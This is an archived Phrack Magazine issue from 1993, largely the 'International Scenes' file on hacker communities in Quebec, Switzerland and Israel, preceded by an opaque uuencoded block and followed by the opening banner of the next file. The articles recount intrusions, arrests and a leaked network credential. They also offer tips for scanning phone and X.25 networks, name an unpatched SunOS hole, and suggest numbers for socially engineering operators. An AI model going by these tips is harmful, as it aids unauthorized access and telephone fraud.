M#2;\_[%7[I!@$E.BY"@.1!3NYG,_ H5G4I#:E56F(I6NK DM!XT*&V\EB;)X
MI:$H)%E(2&:+V=7F>![Z2MN"4DV03M.!\HI=@FZFB^5QC2!D4J*UVJ6MZ?!R
M6E)3#4(D R65/E%J7 S7:CJ3F^I!DVO,FHQV/$K-B1T0@FC()G]HDJYE2@DV
M(BF9>**23JYPI7.M\DM/^*0\$J3+?(S*W?F.JL^"WB>0@=R5I#@WJ:WNRSP*
M7=-WZ)3)DJJLA"1:85GX9C.WU"E& 9@-: C $(X,I9J,4JI5(I&FLD36%BKY
M9-’(%@!B’@<UNWE(E)1(D"2IE$C)494S;X-3O<3O:][:CO\XIX@JH^5SFX]3
M"1O2H$WU,:I0:’A;V+3US-_BE6\#"MF%.G>RDU7B9%0Y&A’T6(3X(*P-:FB#
M$R+6N*",58Q50<E9"_HSK*SG(Y_[G*;4":JG./9DH&I+6RJXPDI]Q;QL40FJ
M\%:9SFSJ48T59!MB=TFZ<*177B)2NY;X0L]4IFNZ!!.2EA2^)NT2OPZ.7]#@
M)V’I2,O 3RNP0QAWDAKF-@FV+60V:WM-4Z9!@0=3\(.Q5 *’AL0JK9*#)9RB
M,I7%P5*5R E\^ 1=))3@G@E3E$Y\DM3OWBD.]S$E^C06R:8PU"639*4M)B65
M7<FAE;$3RXT]LL+#=*=3_L/O77[_:II,UM;$*FG$&.6E%8BZ97BF,7,X.\L\
M#5=$B\>Q8M>$,T3*(%B<W:+,;PLBFM/&[R#C*V85NY4>QB4%=R16:AKNV;ZG
M=H9H5%22"OF&Y;]@5:*M$LE(BB-D/\5’>?=46.X:1A.R^K&@%+.<#7\&:CAU
M#E*3!+!’.’>XT&VJO5"9T*9B9RLVME=VJM%6A4GPIJ] \(’G68E^;!&+3F&D
M%O8USDQ]-*U&’_@Y09*6E)35O2^1C5K&_-IDH"61WDAIF-#J&@#2QVJ3U##?
M$61@34R)A/8Y-\&_!5\)OG-.JY8:SN912U9S$I\I%9%@Y4.@FZYIGXFY:2B5
MD[5)HM"&_\TYY2,7)-"_( 683M%QRFT]+XMT3)7S4L@\YV5A$H@EL[NH)+$<
AR"U9VU.MK"%!$@ (C%1A5_9*$FU*^U-N2FSM#P_#VRN515%TGBD#&.V-<Q+
]X’]’%,"F,0G##0)$R;FY .2TIM)(,+ %5S+AHA$%J4&;_^^S$;5Q54.!>Q3
NJ!K,+0K:JUDQ9S&\=.&I)AR5^#]UR&?,B#5D>?@5T%4.G$\7#BG*’;ZXKPE
&E,7/A7 S$.D"0E+3""0[XI J]<Y&\7"EO;U"IB;J<SS=-2;*VE’JA,1I[4*
BV&?[@B81RI-L]M=>R5^>S= DIIVSM4X!JHD*4E!0Q.:;.DD5/]?[7&CFVV2
(S.1>’"\>G+](^-UE:Y@^28-29?$QPI!ZQ9R\!!TT\(H)E*C>,2Q3[D3@.)U
WL’Y./S1,@PYC!4Y&8Y0ME’ICJ#3!:,HJKN0EH$A(9= H)\I*&I[H$QA"[N(
C&*R/=5RL(,XLZ9+-T4+K=[ C2>QNN,QOMA0(V-Y");J.JN1#1[),(<0B)M0
(+&SIL91’[-3’_[@+>7Y/A’4"]?@B+GC"+\YCWV9(TWA/XXX&;%KKA1 -3Z!
"4%J&_YPF’H:H\SH0<RYJTCHET8XI$>QH*P2(?/H/X-:0ZW0*QN+0Z[PE*A0
&0KD-ADI"+: *+9JE/-PP@ILJV"CK%[_.8V*V,/7N$$\Z[,7:A8F 2K22CH>
T0UWHR+# @Y*’#1%C"GC0$)"(R.S:P+>0KS;8A]"4A_VJ0DNH;U:8J,TP:"-
$2@)(:ZM@@H/D3BP.AIN&I0O# K(B34[B1@Q% H R;+C8HF-^1=;,"$Z<D.$
BD/1X;+TRY<)82,PDX2CB1%@<8BO:(N-TP_VJ+O*D9>U:,9(.,3NDQH2/+06
DSH9]!5GZ9X_@SL.^Y5Q(AO;V3I^C*F=PJ(#XS-[^R,0DS\96A^G2IO/2 V&
5(Y,\HCP6 E@ZPH+RA-BBXJ:4 B!N$*9\)"*::R&43$Q.CR?R*>4L"/-^0O[
N;4[9)U\,9R"_T+ K@"SN\,0.).$.K@096L;;MR0,SF=6=N8E<"*OWB3UO,U
MN ,=<R+SMB6PI*2TG@>9@$-=G&BFN(E=@0M*B*(2C1!WHA*@_@61U.6;GNV
QE&Q7@2X)EN;’A2@K^(,O/B]AIB-[Y@[OE$)RFFHO=D8_$FL2# 7CDR(F+")
LS**[HJ<P$NK/^+",3R*MR(=IR 0.,**":F4.9G%@P(+3RD+&_LRV/D8’6.1
4CF*R<@1.IL*L=B7@L*R#Y(*SGF30"0/6[ OITD2U*":>92>UV":YJNBYDLF
LCR>&>PV5>$]KN.S<&.:F<FF!F*JB;DFM&P#M4R;EWH6ACP34,D4RO^1H]’!
BD?YH*@PB;#J2.A"&RVL$P>J+O00(+:,M;):K"1XH+_HG"@SBJFX,=?3KT09
1VR\F6S3R91)S3G2&5WH"/N"0)B@$/T!+_IL38UI3;8HH %308K8QZKAFAF4
MR31S:+:NJJKD=L<MRBYFXH@&JDB&P[=*;LA@1ZLON>T+;2T+4 B19_P#+AT
+2)J$/1ZHY5PJ$Q9#_2J"I70$K]S#Q0HS+99LI[PJ#]L@X]SH/2,@R9#/’%T
```

```
M0I&S(#SYOSFZ&(.J"H?*%_=2)\$H0(1ZO5+1"A0@NJ Y+!00GHZXQ9.3%Y&K
MMO-H$(SR)-M(OJ^,F7!BESRU1%]!--Y00>W_81[; (W@ )+GV%!$U<H]9*:R
MM(SJ<]'H [@FP*VSS"UN2H,F\<DI^A3MK"# @*O6G,^=@(_K*)>TX8G*213+
M&3'YP!T($HH9<K)=:3Q'R9CY=(1K! L[<*<LU;%*Z:&SR!==\+Q1$U:Z:(LD
M:('("+02F$FBO"#4;,T+(IUS7 EUI QT@REW^\1B"DO>Y) OX26Y)+BA:BT%
MV]!NR; L@IX?(8!R:9M[*KO9DH_LVXE*;0/>$J!>":UM,3B] AEJC3&1R,FH
M (NK\"IO(H*W28&,$XJ/4XJ0G":=^+B/JYR;6*SY*) "<<T/TIB<#"$+L:,G
M$P]K5)D>XJOV@J1\_X$+7:@OU; 68L$*MX"RD9#,[S(<)S1'2X"9=*4-',P6
MJTL>>2R:T/H]YWDPY",TW"!4[UN6X_P2/_4S**D,;YK2*>6)%"LQ,KH)R)DP
MN-S-SA +;/..2&$0 37'!<0*MA&@CJP)C_1%P\.NM@D4GD.@I BD]/A8RKQ,
MH_A.$$(VE=P8_0$A54H92CHA4?F4H).7 RT> * *]ZK([]K._8PRJ#B,TAS.
M0O.:JP43H:DI#:,>Y0RTX@,JF )%( $3;GFM= VTZW!8L[.T]DF#-&"J%),A
M(22EG^ MLW,/Y/DIL"$ <QJ+LL"*:[45A149[XR#DD2;--6CM#&)DK"AA?]I
M&.F46'%DK).H/HL%65&=,DBY,1TS)]3[+F6M%$V0LQ59(;BPLJ=H$-[9BIK
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
M+PZ1PW.DB*3<_$Q<!9$$"I"0$:.LRR22>]O$</4<*#EI(&9J2Y2@)!T.7>>
M<$,<XN"V)T4YBB/829@%!V<2%S8N/-[)W)YB%+H/0I((29"D)$]W.I#8!%&7
(4U=[O!,0 #LY

end
```

==Phrack Magazine==

Volume Four, Issue Forty-Four, File 26 of 27

****

International Scenes

There was once a time when hackers were basically isolated. It was almost unheard of to run into hackers from countries other than the United States. Then in the mid 1980's thanks largely to the existence of chat systems accessible through X.25 networks like Altger, tchh and QSD, hackers world-wide began to run into each other. They began to talk, trade information, and learn from each other. Separate and diverse subcultures began to merge into one collective scene and has brought us the hacking subculture we know today. A subculture that knows no borders, one whose denizens share the common goal of liberating information from its corporate shackles.

With the incredible proliferation of the Internet around the globe, this group is growing by leaps and bounds. With this in mind, we want to help further unite the communities in various countries by shedding light onto the hacking scenes that exist there. We have been requesting files from people to describe the hacking scene in their country, but unfortunately, more people volunteered than followed through (you know who you are.) This issue we want to introduce you to the scenes in Quebec, Sweden and Israel.

****

What is going on in the 418 scene

By Gurney Halleck of NPC

Believe it or not, there are hackers and phreakers in the 418 AC and people are just starting to hear from us. There are only two real H/P BBS in Quebec City, The Workshop and Miranda BBS. The first one is a NPC hang out (Northern Phun Co.), a local Hacker/Phreaker group that has a certain fame, just read Phone Pirates, a recent book by two Toronto journalists.... The other one is considered a little bit lame by some. Personally, I am friends with the sysops, they're not real hackers, but generally nice guys.

Here are some names you might have seen in the H/P scene, Blizkreig, SubHuman Punisher, KERMIT, Atreid Bevatron, Coaxial Karma, Mental Floss, Fairy Dust, Evil-E, Black Head, Santa Claus, Blue Angel Dream, myself of course and probably many more I have forgotten to mention. (sorry)

NPC Publishes a monthly magazine and will be celebrating their first anniversary on November 1st 1993. They have been on national TV and press for breaking into the computer of the prime minister's cabinet.

In 418, there is only one Internet Node, at Laval University, and to get a legal account on one of their systems, be ready to shell out 90$ a month. No kid can pay that much, so that's why there are so many hackers. They hack anything from old VAX/VMS machines to brand new Suns and Datapac and Edupac.

Back in April of 1993, a hacker, Coaxial Karma, was arrested for trying to "brute force" into saphir.ulaval.ca, a cluster VAX/VMS. He was working from information from another hacker, myself, that there were many "virgin" accounts (account that were issued but never used) and that these accounts all had a four letter (just letters) password. So he proceeded to brute force the computer, after 72000 tries, he finally got in. An operator, entirely by chance, found the logs for the 72000 failed logins for one account on saphir, an proceeded to call the police. The hacker, being a juvenile, got by easily, not even loosing his computer.

On September 30th, another hacker, SubHuman Punisher, was arrested by the RCMP. It all started a long time ago, when people started hacking into Laval University's systems. First, they installed a password on their terminal servers, just one password, the same for everybody! Needless to say, everybody knew it. Second, most sys-admins knew next to nothing about security, so when they found intruders, they could not keep them out. Enter Jocelyn Picard, sysadmin of the GEL subdomain and security expert. He does his job and does it well. He kicked them out for a long time. (I personally do not think it was his idea to call the RCMP.)

After a while, the hackers where back with a vengeance and using Laval's systems to hack other systems. So the guys from the CTI (Centre de Traitement de l'Information) decided to call the authorities. Bell monitored the phone lines from Sept 16th to Sept 30th. Systems in the ERE hierarchy in the umontreal.ca domain were also logged for Internet activity. On the 30th, 2 hackers where arrested. Both of them, their only crime was wanting to be on the internet. Now is that so bad?

I only knew one of the two, SubHuman Punisher, so I'll tell you what happened to him. He was charged with theft of telecomunications (that charge has been dropped) and for illegally using a computer. A new charge as been added after they drop the first one: copyright infringement. All his equipment was taken away. We don't think he'll get by as easily as the first electronic martyr of 418 (as we like to call him). This time it looks serious. So we at NPC have started a relief fund for his legal defense, The "Fond de Defense SubHuman Punisher" (the SubHuman Punisher defense fund).

All contributions are welcomed, write to:

FDSP
886 St-Vallier St. app 7
Quebec City, Qc
Canada, G1K 3R4

****

The Swiss Scene

by Holz

Welcome to Switzerland, the country that's famous for, ehmm err, well now famous for... come to think of it....nothing really.

Well, for those of you that didn't pay much attention at high school: Switzerland is a rather unimportant country (to anyone but the Swiss) in the middle of Europe with about 7*10^6 inhabitants and some light industry.

Networks in Switzerland

Switzerland has two internet providers, SWITCH and CHUUG. Lets deal with them in that order. SWITCH was originally formed from a consortium of the 9 (?) or so universities in Switzerland. It's purpose was linking the universities in Switzerland and providing access to international networks for their researchers. SWITCH is linked to the nfsnet via CERN (the European center for nuclear research in Geneva) and INRIA in France. SWITCH's Customers are almost exclusively universities or large corporations, they don't cater much to individuals. Most of the Network operates at 2..10 Mb/sec, SWITCH uses cisco hardware.

The other provider, CHUUG, founded by Simon Poole does cater to individuals (they offer some for of pub access unix, + slip + uucp/news/mail feed), their links, which last time I looked went via Germany and Holland are somewhat slower. CHUUG also links some smaller companies (improware for instance) Apart from the Swiss Internet, there is a DECNET based Network called CHADNET, managed by SWITCH which also links the Swiss universities. There is even a gateway to HEPNET and SPAN at the Paul Schaerrer Institute (PSI) in Zuerich. Due to the restrictions in DECNET you need to use poor man's routing to get anywhere.

Some of the universities have non ip internal networks, the most notable being KOMETH, which links the university of Zuerich and the ETHZ, most universities however just use their ethernets and don't have any fancy hardware. Apart from this Switzerland has it's own PDN, Telepac, operated by the Swiss Ptt (our federal telecommunications agency) with dnic 2284. This network is accessible at speeds of up to 9600 bps at a fixed charge all over the country. Apart from Telepac their are several other x25 based networks directly accessible from Switzerland, notable Sprintnet, with dialins in Zuerich and Bern, Tymnet with Dialins in Zuerich and Neuchatel, and Infonet. Last but not least Switzerland has a national vtx system (which i've never used, and i'm proud of that) called Videotext, which is linked to BTX in Germany, Prestel in England and Minitel in France. The only reason for using was the fact that up till recently it could be accessed for free via our equivalent of the 1-800 number (ours start with 155). The ptt now claims that this was a "mistake" (some mistake considering it lasted for two years and was used by everyone and his dog.....but I digress.)

Hacking in Switzerland

Well there's not much of a scene here. I have known a few (5-10) Swiss hackers and one or two good ones, but that doesn't go very far. As for boards, I can't think of any right now. BGB (with nua 0208046451064) used to have a hacker corner, but that's been closed for some years now I think. Pegasus (022847521257) which runs on a vax under vms is quite a nice system, where on occasion you meet people with an interest in vms.

I don't know of any conventions in Switzerland, we've tried to organize one once (we ended up with three people). Hacking incidentally is illegal in Switzerland, but only as of this year.

Phreaking in Switzerland

I don't know much about Phreaking (anything ?). The Swiss telephone system is a very modern one, and nearly identical to the one in Sweden. This means that any of the old methods suitable for older exchanges (most notable blue boxing) don't work. There are some limited possibilities via our 1-800 system, but Switzerland phone systems aren't easily abused. The switches incidentally are Siemens AX-10 (does that meen anything to anybody ?)
I know of one or two good phreaks (rather than card abusers) in Switzerland. Phreaking and any messing with telephones, unlike hacking, has always been illegal in Switzerland.

Some Incidents

Well here's for old times sake. (doubt this can do any harm any more)

1)
I've already mentioned the Swiss X.25 Network Telepac. To use this you need a nui, which is usually an 8 character string, and a password, which is six characters, mixed upper and lower case + usually numbers. Well obviously the ptt has nuis for internal use, as in this case the one for the employees of the ptt headquarters in Bern. The nui it seems was available to all the employees needing access and someone let the secret get out... so for two years every hacker in Switzerland used this nui to make x25 calls round the world. In fact it became so popular that the German hackers near the border found it worth their while to pay the ld charges to Switzerland just so they could use this nui. Eventually someone noticed. The cost must have been phenomenal.

2)
An acquaintance got into the Vax cluster of BAG (our equivalent to NIH). The people at BAG eventually noticed and kicked him out. In their press release to the incident, while being forced to admit that someone had got in they made a firm point of how 'secure' they were, and explained that it was impossible that anyone had seen any personal data on People registered as HIV positive. Well this was such an obvious cover-up that my acquaintance decided to give them a piece of his mind, so he called the national radio, and gave them an interview live on his motives and accomplishments.
BAG continued to deny his version (but changed all their passwords.)

****

The Israeli Scene

by

Herd Beast

Didn’t you always want to know about the "scene" in Israel?
YOU WILL...

A SMALL OVERVIEW
****

This article was written after I read Phracks 42/43, and the idea seemed good. I am not affiliated with any person or any group mentioned in this file.

It’s hard to describe the "Israeli scene", so I will start with a short description of the state of technology in Israel.

TECHNOLOGY
****

The Israeli telephone system isn’t very advanced. Most of the country still doesn’t even have tone dialing, and while the phone company has rAd plans about installing CLID and a pack full of other exciting things, the fact remains that half the country breathes rotary phones and analog lines. Pathetic as it seems, it still means that tracing someone through the phone lines can be rather hard; it also means that K0D3 scanning is abundant.

After the telephones comes the X.25 connection, Isranet: DNIC 4251. Isranet used to be a "hassle free system", eg every 11 year old could get a NUI and use it, and NUIs lasted. Those merry times in which practically everyone who had a modem was an X.25 "hacker" are almost over. The weakness of Isranet (the telco’s fault!) is why if you happened upon QSD some years ago, you would have probably noticed that after Italian lesbians, Israelis lurked there the most. Recently, Isranet switched systems. The old system that just prompted NUI? and ADD? is gone, and in came the SprintNet (Telenet) system. It is now generally believed that Isranet is un-crackable. Way to go, Sprint, ahem.

Amongst other thing the Israeli phone company supplies besides an X.25 network is an information service (like 411) through modem, e-mail/FAX and database systems (a branch of AT&T EasyLink) and a bunch of other things. Not to forget the usual "alien" connections, like a TYMUSA connection (with very low access levels), and toll free numbers to the AT&T USA*Direct service and sexy-sounding MCI & Sprint operators.

To my knowledge, cellular telephony among phreaks in Israel is virtually non existent, (that is to say, when talking to phreaks, none of them seems to care about cellular phones at all, for different reasons one of them being the starting price which is high), which is a pity but is also a blessing since security is lax and besides, the Israeli cell phone market is monopolized by Motorola (whose cell phones re known as "Pele Phones" which means "Wonder Phones").

As you might have understood, up until lately, the Israeli phone company (Bezeq) wasn’t very aware of security and boring stuff like that. Now it’s becoming increasingly aware, although not quite enough. The notion in Israel is that hackers are like computer geniuses who can get into ANYWHERE, and when last did you see someone like that? So basically, corporate security is lax (does "unpassworded superuser account" ring a bell?), although not always that lax.

Last but not least are the elytee -- the computer literate public. These are most of the people in charge of machines on the *.il domain on the Internet. Security there is better than usual, with (for example) "correct password" rules being observed, but (another example) with holes like /usr/lib/expreserve on SunOS still open. For this reason, there is a difference between hackers in Israel. There are university students who play around with the Internet, hack, and are usually not aware that there is a bigger hacking community beyond IRC. Then, there are the modemers, who use modems and all the other things, but are generally not as proficient, since Internet access in Israel is given only to university people and employees of the very few companies who have Internet connections. (The notion of public access Unix exists, but access costs $50 a month and to get it one must have approval of the ministry of communication because of an old law; and since calling up a system and running by all the defaults usually does not work, not everyone has access to the Internet.)

Calling card abuse is very popular in Israel, because Bezeq cannot find abusers and really doesn't care. Therefore there are a lot of pirates in Israel who are in very good touch with American pirate groups, and this includes the works - crackers, artist, couriers. If you know a bit about the pirate community, good for you.

Hackers as in computer hackers are a little rarer. To become a hacker you need to pass some grueling tests. First, you resist the lures of becoming a calling card and download junkie. Then, you have to become proficient from nothing. Finally most of the Israeli hacking community hacks for the single reason that goes something like "get into QSD", "get into IRC" (without paying). Not very idealistic, but it works...

Assuming you passed all these stages, let's say you are 18... and you go to 3 years in the army. Did I forget to mention that serving in the army is mandatory in Israel? Not really relevant, but that's life in Israel, and when you leave the army, you usually forget about hacking.

Up until now I was just explaining things. Now..

THE PARTICULARS
****

I will concentrate on the "modemers" in this section, so first about the students. You may know this, but there is a lot of "bad" Internet traffic on *.il, in the form of pirate/virus FTPs and stuff like that. If you read Usenet, you probably saw at some time a wise ass post such a site. These are usually the works of students. To be honest, that's as much as I know, since I'm not a student and my stupidity is not so high as to assume every Internet user from *.il is a student...

The "serious" modemers hackers don't really hang out in big groups. They have close friends or work alone, so there is nothing like Israeli ######Cons. I can't make an estimate of the actual amount of hacking done in Israel, but I do know that a lot of people got drafted lately. Other than that, there are a lot of Israelis hanging around on IRC (if you're into that), but they usually work like k0D3 k0ll3kt0rZ, only instead of codes they collect Unix account.

In a country that has fewer people than NYC, the total number of people who actually have modems and do hack AND know what they're doing is not so large, which is why until now my description didn't sound very pretty. But considering these facts, they're actually not bad.

There are some "underground" groups in Israel. Not exactly groups as magazines -- if there is one thing Israel is full of it's local magazines. These are usually small releases featuring things like "FTP Tutorial" and "Pascal Trojan" along with several oh-so-accurate anarchy files. The most prominent, and in the fact the only magazine to have lasted beyond one issue is called IRA (International Raging Anarchists).

For the sake of the pirates, an Israeli formed group that also has American members is called HaSP; it usually releases cracks for all kinds of software.

THE NETWORK
****

Some time ago there was an attempt to bring up a hacking network in Israel. It was called the IHPG (Israeli Hack Phreak Group) and was a bunch of FidoNet-style echos passed between underground boards. The subjects on hand were hacking, phreaking, trojans, and viruses. At first there was a genuine attempt to make things happen, but almost no one shared information (more accurately, accounts/passwords/codes) and the net slowly died out. To my information it is still operational on around 3 boards around Israel, with something like 3 posts per month.

LAW AND ORDER
****

The law and the establishment in Israel are divided. For starters, there is the wide public opinion among the public that every hacker, in particular those who get caught are computer geniuses. Therefore, in a lot of cases where hackers (usually university students) get caught, they are given a better position within the computer staff, or are later hired by a company (no matter what for -- and it's not always security). Although police and Bezeq do preach that hacking is a crime etc, I seriously doubt that there will be such an outrage among computer people if someone was to go on and build an Israeli ComSec (as an example).

Police has a very limited staff assigned to computer investigations, (along the lines of 1-2 officers), and they are in charge of everything; this means they should check calling carders, but also on bank embezzlers who keep information on "secure" floppies. Guess which cases get priority? Of course, there is still the phone company and when things get more serious more man force is issued.

>From time to time, however, there are arrests (see PWN on Phrack 35, 38 elsewhere). These usually involve (in the case of the guy described on Phrack 35) a tip from police overseas, who kept bugging the Israeli police until they made a move, or idiots who sell things. The guy in the Phrack 35 World News, Deri Schreibman, was arrested after he supplied credit cards to people in the U.S. and Canada, who turned him in when they got caught. He himself turned in a lot of people, but his information "just" led to them being visited. Nothing much has been heard about that since, but his case got a lot of publicity because he had a lot of computer equipment, including this/that-boxes, and was said to have broken in Washington Post and the Pentagon. After him, there have been raids on hackers but nothing serious happened to them, and the news coverage was not incredible. A year or so ago one total asshole went on a national show (nothing like Geraldo) and told everyone how he too, abused Isranet and the Washington Post; he also claimed that Bezeq didn't have a clue and that was why he wasn't afraid. He was visited and his equipment was taken. At much earlier times there was a teenager who changed an article on the last page on an Israeli newspaper to say that his math teacher had been arrested for drug dealing; he got to write a computer program to aid blind and deaf people. That is the general way busts go on in Israel, because there is no such great danger as to even warrant dreams of something like Sundevil. There are also sometimes problems in the army, but they are dealt with internally, by the army (I don't think anyone gets shot though).

When a bust occurred, usually many people quit fooling around with Isranet for a while, because all those who did get caught were doing the same things with Isranet. But except for that, there were no great waves in the pond after busts, except again for the Deri S. case. This is due simply to the fact that hackers, in Israel and usually anywhere else, simply don't amount to the amount of problems "professional" criminals make to the police, (the same way Israeli software houses chase down pirating firms and not boards), and since Israel doesn't have an FBI and/or USSS the law isn't going around pointing guns at hackers.

HACKING IN ISRAEL
****

Hacking or phreaking in Israel in not very sophisticated. The average Israeli can scan all he likes; Israeli toll free numbers in the format of 177+Country Code+XXXX exist to almost every country. This means that by dialing 177 (= 1-800), a country code (440 for the UK, 100 for AT&T, 150 for MCI, etc), and a number on the XXXX format, you have a chance of connecting to a number in country whose country code you're using.

Voice mail systems, modems and other things can be found there (h00ray!).

There are also calling cards and X.25 and 056 (= 1-900) scams, etc, etc.

A nice way to start scanning (if anyone is interested) the 4251 DNIC is based on area codes (yes, just like Telenet). For example, a lot of systems in the 04 area code will be somewhere at: 4251 400 ... This might lead to disappointing results, though, since most systems use Hebrew (most interesting systems). The best way to get Israeli area codes is by using a file on international country/area codes put out a while ago... Funny, but it’s more accurate than a C&P phone book.

If you’re into social engineering foreigners, give 1 800 477-5664 (AT&T) or 1 800 477-2354 (MCI) a call. These will get you to an Israeli operator who will be happy to place a call for you, if you’re into experimenting (another one of Bezeq’s new services, called Israel*Direct... also available from the UK, Ireland, Germany and more.)

CONCLUSION
****

I hope you have learned about the Israeli scene. My purpose was NOT to dis anything, it was to show that even though we live in this global village of networks and electronic data exchange (ohh), living in outer butt-fuck (I did not invent this term) has its advantages, in the form of basic stupidity, and its disadvantages in the form of lack of technology and organization in the community. Yeah.

There are still many nice things about hacking in Israel. Enjoy your life.

==Phrack Magazine==

Volume Four, Issue Forty-Four, File 27 of 27

```
PWN PWN PNW PNW PNW PNW PNW PNW PNW PNW PNW PWN PWN
PWN                                             PWN
PWN              Phrack World News              PWN
PWN                                             PWN
